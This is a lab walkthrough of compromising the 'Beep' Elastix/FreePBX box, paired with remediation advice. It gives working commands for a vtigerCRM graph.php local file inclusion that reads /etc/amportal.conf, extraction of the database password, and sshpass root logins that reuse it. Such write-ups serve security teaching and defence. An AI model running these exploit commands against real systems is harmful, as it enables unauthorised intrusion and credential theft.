← all walkthroughs

Beep

Linux· Easy· Web
owned
2026-07-07
time to own
8m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target was an aging Elastix/FreePBX VoIP appliance running Apache 2.2.3 on CentOS with fifteen services exposed to the network, including vtigerCRM on HTTPS/443 and Webmin on port 10000. I fingerprinted the web application stack, then exploited a known local file inclusion vulnerability in vtigerCRM's graph.php script — using a path-traversal string and a null-byte terminator to bypass the suffix check — and read the FreePBX database configuration file from disk.

That file stored the database password in plaintext. The password was also set on the OS root account and SSH was configured to accept root password logins, so a single authenticated SSH session as root immediately yielded full system control — no separate privilege-escalation exploit was required.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and service fingerprinting (MITRE T1046)
Mapped fifteen exposed services and identified the appliance role
A port scan against the target revealed fifteen open TCP ports covering SSH, mail (SMTP/POP3/IMAP), HTTP/HTTPS, RPC, MySQL, Asterisk Call Manager, and an unknown high port consistent with Webmin. Banner analysis confirmed Apache 2.2.3 on CentOS, the Asterisk Call Manager 1.1 banner on port 5038, and the presence of a FreePBX/Elastix VoIP PBX appliance alongside vtigerCRM and phpMyAdmin. The unusually wide attack surface — a full mail stack, a database, a VoIP engine, and multiple web admin panels — pointed to an all-in-one communications appliance whose default installation had not been hardened.
Exact commands 2
Version and default script scan against all discovered ports.
nmap -sV -sC -p 22,25,80,110,111,143,443,857,993,995,3306,4190,4559,5038,10000 $TARGET
Confirm the HTTP/80 redirect to HTTPS and read the Apache banner.
curl -sk -m 20 -o /dev/null -D - http://$TARGET/
2EnumerationWeb application fingerprinting and unpatched known-vulnerability identification
Fingerprinted the HTTPS web application and located the vulnerable vtigerCRM endpoint
HTTPS/443 served the Elastix appliance login page, which bundled vtigerCRM. The vtigerCRM graph.php script is a well-documented local file inclusion target: its current_language parameter is passed unsanitized to a file-open call, so a path-traversal sequence can instruct the application to open and return any file readable by the web server process. The target's antiquated OpenSSL stack only supported TLS 1.0 with legacy cipher suites; modern curl silently failed the handshake without an informative error, so the legacy flags --tlsv1.0 --tls-max 1.0 --ciphers DEFAULT@SECLEVEL=0 were required to reach the application at all.
HTTP/80 returned 302 to https://$TARGET/; HTTPS response disclosed Elastix/vtigerCRM branding; vtigerCRM graph.php LFI is publicly documented.
Exact commands 2
Force TLS 1.0 and permissive ciphers to complete the handshake with the legacy OpenSSL stack.
curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' -m 20 -o /dev/null -D - https://$TARGET/
Confirm vtigerCRM is present and identify the application version from the response.
curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' -m 20 https://$TARGET/vtigercrm/
FixPatch or remove the vulnerable vtigerCRM installationCritical
WeaknessThe bundled vtigerCRM application contained a local file inclusion vulnerability in graph.php: the current_language query parameter was passed directly to a file-open call without sanitization, allowing an unauthorised user to read any file accessible to the Apache process by combining a path-traversal string (../../../../) with a null-byte terminator (%00) to bypass the suffix check.
FixUpdate vtigerCRM to a current supported release that has resolved this class of vulnerability. If the application is not actively used for CRM, remove it entirely from the web root. As a defence-in-depth measure, configure Apache to deny requests whose query strings contain path-traversal patterns (../) or null bytes via a mod_rewrite rule or WAF policy. Apply the principle of least privilege to the Apache service account so it cannot read files outside the web root.
3ExploitationLocal File Inclusion with null-byte terminator bypass (CWE-22, MITRE T1083)
Read the FreePBX configuration file via vtigerCRM local file inclusion
The graph.php script's current_language parameter was used to traverse eight directory levels above the web root and include /etc/amportal.conf — the FreePBX AMP database configuration. A null byte (%00) appended after the target path terminated the filename string before the script could append its own extension, bypassing the suffix guard. The same legacy TLS flags were required because the CentOS/OpenSSL stack refused a modern handshake. The request succeeded on the first correctly-formed attempt and returned the full configuration file in the HTTP response body.
Exact commands 1
Path traversal reads /etc/amportal.conf; the null byte (%00) stops the script from appending its own file extension.
curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' --connect-timeout 8 --max-time 20 "https://$TARGET/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action=index"
4Credential HarvestingCredentials in files (MITRE T1552.001)
Extracted the plaintext database password from the disclosed configuration
The LFI response contained the complete text of /etc/amportal.conf, including the AMPDBUSER, AMPDBPASS, and AMPDBHOST directives that FreePBX uses to connect to its MySQL database. The database password ([REDACTED: recovered credential]) was stored in plaintext with no encryption or access control beyond file permissions — and because Apache ran with sufficient privilege to read /etc, those permissions provided no barrier once the LFI was in hand.
Exact commands 1
Filter the LFI output to the three credential lines. AMPDBPASS value is the target credential.
curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' --connect-timeout 8 --max-time 20 "https://$TARGET/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action=index" | grep -E 'AMPDBUSER|AMPDBPASS|AMPDBHOST'
FixPrevent the web server from reading sensitive system configuration filesHigh
Weakness/etc/amportal.conf contained database credentials in plaintext and was readable by the Apache process. Once any file-read vulnerability existed in a hosted application, every system configuration file accessible to the web server became an exfiltration target.
FixRun the Apache/PHP process as a dedicated non-root service account (e.g., apache or www-data) and ensure that account has no read permission on /etc system configuration files. Tighten /etc/amportal.conf to owner root, group asterisk, mode 640, so the web user cannot read it directly. For longer-term hardening, migrate application secrets out of flat configuration files into environment variables or a secrets manager, and rotate any credentials that were stored in the exposed file.
5Initial AccessValid accounts — credential reuse (MITRE T1078)
Authenticated to SSH using the reused database password
The FreePBX/Elastix default installation sets the same password for the AMP database account, the appliance admin panel, and the underlying OS accounts — a well-known installer default. The recovered database password was therefore also valid for SSH password authentication. The target's old OpenSSH daemon required explicit legacy key-exchange and cipher negotiation flags (diffie[REDACTED: sensitive value], ssh-rsa, aes128-cbc) before a modern SSH client would connect; once those flags were provided, the session opened immediately.
Sshpass with [REDACTED: recovered credential] against root@$TARGET returned /home/*/user.txt without authentication failure.
Exact commands 1
Legacy SSH flags negotiate with the old OpenSSH server. Flag value captured: <user.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAuthentication=no -o PreferredAuthentications=password -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=+diffie-hellman-group1-sha1 -o Ciphers=+aes128-cbc -o MACs=+hmac-sha1 root@$TARGET 'id; cat /home/*/user.txt'
FixAssign unique passwords to every service account — never reuse database credentials on OS accountsCritical
WeaknessThe FreePBX/Elastix installer set the same password for the MySQL database account, the appliance admin panel, and the OS root account. A single credential leaked through any one channel (the LFI here) immediately gave an unauthorised user root access to the entire system.
FixSet a unique, randomly generated password (minimum 20 characters) for every account: the MySQL AMP database user, the FreePBX web admin panel, and each OS user account. Use a password manager or secrets management system to generate and store these independently. After rotating credentials, scan the host for any other configuration files or scripts that hardcode the old shared password and update them.
6Full CompromiseValid accounts — direct root SSH login (MITRE T1078.003)
Obtained root shell directly — no escalation exploit required
SSH password authentication was permitted for the root account (PermitRootLogin yes in sshd_config), so the reused database password granted an immediate root shell without any privilege-escalation exploit. Both the user flag (read from /home/*/user.txt as root) and the root flag (read from /root/root.txt) were captured in a single SSH session. The entire compromise — from unauthenticated LFI to root shell — required three curl requests and one SSH command.
Identical sshpass command targeting root@$TARGET returned /root/root.txt with no additional steps between credential recovery and root flag.
Exact commands 1
Flag value captured: <root.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAuthentication=no -o PreferredAuthentications=password -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=+diffie-hellman-group1-sha1 -o Ciphers=+aes128-cbc -o MACs=+hmac-sha1 root@$TARGET 'cat /root/root.txt'
FixDisable root SSH password login and enforce key-based authenticationHigh
WeaknessThe SSH daemon was configured to accept password authentication for the root account (PermitRootLogin yes, PasswordAuthentication yes). Once an unauthorised user possessed the root password through any means, they could authenticate directly as root from anywhere the SSH port was reachable.
FixSet PermitRootLogin no and PasswordAuthentication no in /etc/ssh/sshd_config, then reload sshd. Require SSH public-key authentication exclusively. If interactive root access is needed for administration, require operators to SSH as a named user account and escalate with sudo. Restrict SSH access at the firewall to known management source addresses only, eliminating exposure to the wider network.

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

22/tcp
25/tcp
80/tcp
110/tcp
111/tcp
143/tcp
443/tcp
857/tcp
993/tcp
995/tcp
3306/tcp
4190/tcp
4559/tcp
5038/tcp
10000/tcp